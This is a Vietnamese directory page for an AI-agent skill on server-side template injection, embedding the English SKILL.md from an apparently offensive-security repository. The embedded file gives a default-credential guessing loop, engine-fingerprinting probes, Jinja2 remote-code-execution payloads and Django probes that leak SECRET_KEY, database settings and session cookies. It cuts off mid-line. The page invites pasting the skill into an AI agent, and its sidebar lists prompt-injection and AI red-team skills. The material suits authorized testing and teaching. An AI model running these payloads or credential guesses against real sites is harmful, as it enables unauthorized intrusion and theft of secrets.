exploit-ssti
Skill này làm gì
Skill này giải thích cách template engine có thể chạy đầu vào của người dùng như mã. Dành cho người kiểm thử bảo mật kiểm tra các trang hiển thị văn bản do người dùng cung cấp qua template như Jinja2 hoặc Twig.
Khi nào nên dùng
- ✓Khi một trang phản chiếu đầu vào của người dùng theo cách có thể được template engine hiển thị.
- ✓Khi một rà soát bảo mật hỏi liệu văn bản người dùng có được escape trước khi hiển thị template không.
- ✓Khi một nhãn thử thách gợi ý template Jinja2, Twig, Freemarker, ERB hoặc Razor.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem lời chào trên trang tôi có coi tên tôi là mã template không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi các thăm dò toán học và cú pháp vô hại vào đầu vào, đọc kết quả để xác định template engine, rồi kiểm thử các mẫu bypass bộ lọc đã biết.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Server-Side Template Injection (SSTI)
Exploits template engines that render user input, achieving RCE by injecting template directives.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.
Detection — Universal Probes
# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt
# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)
Jinja2 (Python — Flask/Django)
# Confirm Jinja2
curl -s 'https://<TARGET>/page?input={{config}}'
# RCE via MRO chain
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}'
curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt
# Common RCE payloads
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# {{cycler.__init__.__globals__.os.popen('id').read()}}
Django (engine.from_string)
When the target is Django (not Flask/Jinja2) and a view passes user-controlled string into Engine.get_default().from_string(...).render(Context(...)), the exploitation surface is fundamentally different from Jinja2.
Identify Django (vs Flask/Jinja2):
# Response header tells: Django sets X-Frame-Options: DENY by default
curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django'
# CSRF cookie name: csrftoken (Django) vs session (Flask)
# HTML contains: name="csrfmiddlewaretoken" inputs
curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token'
# Admin route exists
curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django
# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises
curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken'
Critical: Django templates DO NOT expose Jinja2 MRO shortcuts. The following will NOT work:
{{request.application.__globals__}}— Django has noapplication{{cycler.__init__.__globals__}}—cycleris a tag, not a builtin{{"".__class__.__mro__[1].__subclasses__()}}— Django blocks_-prefixed attribute access in templates (TemplateSyntaxError or silent empty){% load os %}— Django filters{% load %}to registered apps; arbitrary module load denied
Django template language is restricted to: variable lookup ({{var}}), filter pipes ({{v|upper}}), and registered tags ({% if %}…{% endif %}, {% csrf_token %}, {% include %}).
Productive paths for engine.from_string SSTI:
# 1. Settings leak (works when 'django.template.context_processors.debug' or
# a custom processor injects `settings` into context)
curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}"
curl -s "http://<TARGET>/page?input={{settings.DATABASES}}"
curl -s "http://<TARGET>/page?input={{settings.DEBUG}}"
curl -s "http://<TARGET>/page?input={{settings|pprint}}"
# 2. Request / session / META leak (when `request` is in the context)
curl -s "http://<TARGET>/page?input={{request.session.items}}"
curl -s "http://<TARGET>/page?input={{request.session.flag}}"
curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}"
curl -s "http://<TARGET>/page?input={{request.user.is_st
Câu hỏi thường gặp
Skill xác định engine bằng cách nào?
Nó gửi các thăm dò toán học nhỏ và chuỗi cú pháp, rồi so khớp kết quả với template engine tạo ra nó.
Nó bao gồm những engine nào?
Nó bao gồm Jinja2, Twig, Freemarker, ERB và Razor.
Nó có cần đăng nhập trước không?
Khi thông tin đăng nhập mặc định là nhãn liên quan, skill thử các thông tin đăng nhập thử nghiệm phổ biến trước khi thăm dò template.
Chi tiết
Mô tả gốc của tác giả
Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14082
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.